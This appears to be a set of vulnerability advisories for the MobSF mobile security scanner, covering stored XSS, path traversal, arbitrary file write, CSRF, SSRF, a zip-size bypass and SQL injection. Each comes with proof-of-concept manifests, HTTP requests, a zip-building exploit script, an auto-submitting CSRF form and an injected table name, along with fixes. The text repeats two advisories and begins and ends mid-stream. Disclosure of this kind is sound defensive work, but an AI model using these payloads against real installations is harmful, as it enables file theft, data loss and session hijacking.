            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

Summary

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Summary

The vulnerability allows any user to overwrite any files available under the account privileges of the running process.

Details

As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).

Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).

The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.

What exactly is vulnerable:

mobsf/StaticAnalyzer/views/common/shared_func.py Function for extracting objects from .a — ar_extract

def ar_extract(checksum, src, dst):
    """Extract AR archive."""
    ...
    ar = arpy.Archive(src)
    ar.read_all_headers()
    for a, val in ar.archived_files.items():
        # Handle archive slip attacks
        filtered = a.decode('utf-8', 'ignore')
        if is_path_traversal(filtered):
            msg = f'Zip slip detected. skipped extracting {filtered}'
            logger.warning(msg)
            append_scan_status(checksum, msg)
            continue
        out = Path(dst) / filtered
        out.write_bytes(val.read())

• The “slip” check is limited to is_path_traversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e.
• Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.

ar_extract is called from: mobsf/StaticAnalyzer/views/common/a.py

def extract_n_get_files(checksum, src, dst):
    dst = Path(dst) / 'static_objects'
    dst.mkdir(parents=True, exist_ok=True)
    ar_extract(checksum, src, dst.as_posix())

The expectation is that extraction happens only under the static_objects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.

Attack Scenario

1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism.
2. It downloads this one via the web interface or the Static library loading API .a in MobSF.
3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory.
4. In our case, the database file was overwritten, which caused MobSF to malfunction.

PoC

1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3"

2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet.

3. Upload the file for scanning and then update the page to get a server error.

4. Check the file structure after scanning and see that the file has been overwritten.

5. There is a database error in the MobSF log.

Impact

1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs).
2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports.
3. Implementation of a system malfunction (overwriting the db.sqlite3 file).
4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template.
5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).

Mitigation

Reject absolute paths and normalize before writing.

Please, assign all credits to Vasily Leshchenko (Solar AppSec)

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlite_master (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes read_sqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT * FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQL_INJECTION_PROOF'-- is interpolated, the resulting query:

SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA table_info() statement on line 553 runs before the SELECT * FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | poc_sqlite_injection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | create_malicious_apk.sh | Script to package the malicious DB into an APK | | malicious_sqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

# Run the standalone PoC (no MobSF required)
python3 poc_sqlite_injection.py

# Build the malicious APK (requires Android SDK)
./create_malicious_apk.sh

# Test against MobSF
# 1. Start MobSF
# 2. Upload malicious_sqli.apk
# 3. Browse extracted files -> click app_data.db
# 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's read_sqlite() against malicious database...
    [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error
    [!] DoS CONFIRMED: read_sqlite() crashed

[STEP 3] Demonstrating SELECT * FROM injection in isolation...
    Query: SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--'
    [+] Query executed successfully!
    [+] Results: [('SQL_INJECTION_PROOF',), ('normal_data',)]
    [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first):
    Tables with data: NONE
    [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_name = table[0]
            # Properly escape table name as a double-quoted identifier
            safe_name = table_name.replace('"', '""')
            table_dict[table_name] = {'head': [], 'data': []}
            cur.execute(f'PRAGMA table_info("{safe_name}")')
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table_name]['head'].append(sq_row[1])
            cur.execute(f'SELECT * FROM "{safe_name}"')
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table_name]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

• CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
• OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
• Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POC_XSS_APK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest
2. Attacker submits APK to a shared MobSF instance or private mobsf instance.
3. When any user views the analysis report, the XSS payload executes in their browser

Tested in MobSF Public Instance as well. https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/

Summary

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Summary

The vulnerability allows any user to overwrite any files available under the account privileges of the running process.

Details

